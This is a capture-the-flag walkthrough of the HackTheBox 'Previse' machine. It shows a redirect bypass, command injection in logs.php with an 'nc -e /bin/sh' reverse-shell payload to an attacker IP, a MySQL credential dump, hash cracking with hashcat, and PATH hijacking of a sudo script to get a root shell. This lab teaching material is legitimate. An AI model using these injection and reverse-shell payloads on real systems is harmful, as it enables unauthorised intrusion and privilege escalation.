Previse - [HTB]

Cover Image for Previse - [HTB]
Marmeus
Marmeus

Introduction

Previse is an easy linux machine from HackTheBox where the attacker will have to intercept web server responses in order to create an administration account, allowing to download a web service backup file. Later will have to analyse the web application finding a path for an RCE. Then, will have to crack the credentials stored in a mysql database so you can obtain the root flag. Finally, the attacker will have to use the path hijacking technique in order to become root.

This machine has an unintended way through SQLi so you do not need RCE. If you want to see how is done check xavilok's post.

Enumeration

As always let's start scanning all opened ports in the box witth nmap.

kali@kali:~/Documents/HTB/Previse$ sudo nmap -sS -p- -n -T5 -oN AllPorts.txt 10.10.11.104
Nmap scan report for 10.10.11.104
Host is up (0.12s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Then, we continue with a deeper scan of every opened port, getting more information about each service.

kali@kali:~/Documents/HTB/Previse$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,80 10.10.11.104
Nmap scan report for 10.10.11.104
Host is up (0.12s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
# Nmap done at Sat Aug  7 17:51:13 2021 -- 1 IP address (1 host up) scanned in 11.98 seconds

Trying to access to port 80 the web service always redirect us to login.php.

Previse File Storage login.php

Using gobuster we can obtain the following files, that if trying to access them redirect us again to login.php.

kali@kali:~/Documents/HTB/Previse$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x php,html,txt,doc -t 40 -o gobuster.txt -u http://10.10.11.104
/files.php            (Status: 302) [Size: 4914] [--> login.php]
/header.php           (Status: 200) [Size: 980]
/nav.php              (Status: 200) [Size: 1248]
/footer.php           (Status: 200) [Size: 217]
/css                  (Status: 301) [Size: 314] [--> http://10.10.11.104/css/]
/status.php           (Status: 302) [Size: 2966] [--> login.php]
/js                   (Status: 301) [Size: 313] [--> http://10.10.11.104/js/]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/accounts.php         (Status: 302) [Size: 3994] [--> login.php]
/config.php           (Status: 200) [Size: 0]
/logs.php             (Status: 302) [Size: 0] [--> login.php]

Exploitation 1

However, trying to access to accounts.php we can intercept the server's response with BurpSuite (Right click request / Do intercept / Response to this request), observing the existance of the Location header responsible for always rederecting us to login.php.

HTTP/1.1 302 Found
Date: Sun, 08 Aug 2021 10:52:01 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: login.php <====
Content-Length: 3994
Connection: close
Content-Type: text/html; charset=UTF-8

[...]

Removing the header and forwarding the request we can see the contents of accounts.php, allowing us to create an administrator account.

New Accounts panel

Now, we can access to files.php where we can obtain a file named SITEBACKUP.ZIP.

Once downloaded, extracted and analysed the web contents. At config.php we can obtain the mysql credentials.

kali@kali:~/Documents/HTB/Previse/Site$ unzip siteBackup.zip
kali@kali:~/Documents/HTB/Previse/Site$ cat config.php 
<?php

function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
}

?>

Inside the file logs.php we can see that its executing a python script passing as a parameter the contents of the post form from file_logs.php.

kali@kali:~/Documents/HTB/Previse/Site$ cat logs.php 
[...]
/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

$filepath = "/var/www/out.log";
$filename = "out.log";    

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    ob_clean(); // Discard data in the output buffer
    flush(); // Flush system headers
    readfile($filepath);
    die();
} else {
    http_response_code(404);
    die();
} 
?>

Exploitation 2

Intercepting the post request we can add the following command, obtaining a reverse shell as www-data.

POST /logs.php HTTP/1.1
Host: 10.10.11.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.10.11.104/files.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Connection: close
Cookie: PHPSESSID=s4of7acn3lb7dvuv3h3fio97eh
Upgrade-Insecure-Requests: 1

delim=comma; nc -e /bin/sh 10.10.14.52 4444

Privilege escalation 1

Because we have the mysql credentials we can obtain the registered users from the web page.

www-data@previse:/var/www/html$ mysql -u root -p'mySQL_p@ssw0rd!:)' -e "use previse; select username, password from accounts;"   
< previse; select username, password from accounts;"
mysql: [Warning] Using a password on the command line interface can be insecure.
+----------+------------------------------------+
| username | password                           |
+----------+------------------------------------+
| m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. |
| Marmeus  | $1$🧂llol$eBQMPwAvz9j9ZpK62qDI// |
+----------+------------------------------------+

In order to decrytpt the password we can use hashcat.

kali@kali:~/Documents/HTB/Previse$ cat hash.txt 
$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
kali@kali:HTB/Previse$ hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt                                                               
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt         
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!

The credentials can be used to access to the machine as m4lwhere, obtaining the user flag.

kali@kali:~/Documents/HTB/Previse$ ssh m4lwhere@10.10.11.104
The authenticity of host '10.10.11.104 (10.10.11.104)' can't be established.
ECDSA key fingerprint is SHA256:rr7ooHUgwdLomHhLfZXMaTHltfiWVR7FJAe2R7Yp5LQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.104' (ECDSA) to the list of known hosts.
m4lwhere@10.10.11.104's password: ilovecody112235!
m4lwhere@previse:~$ cat user.txt
[CENSORED]

Privilege escalation 2

We can execute as sudo the script access_backup.sh.

m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere: 
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh

As you can see above, the command date doesn’t have a hard path.

m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

Hence, we can modify our PATH variable and create our own file named date contining our code obtaining a shell as root.

m4lwhere@previse:/tmp$ echo -e "nc -e /bin/sh 10.10.14.52 4444" > date
m4lwhere@previse:/tmp$ export PATH=/tmp:$PATH
m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh

kali@kali:~/Documents/HTB/Previse/Site$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.52] from (UNKNOWN) [10.10.11.104] 39420
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
[CENSORED]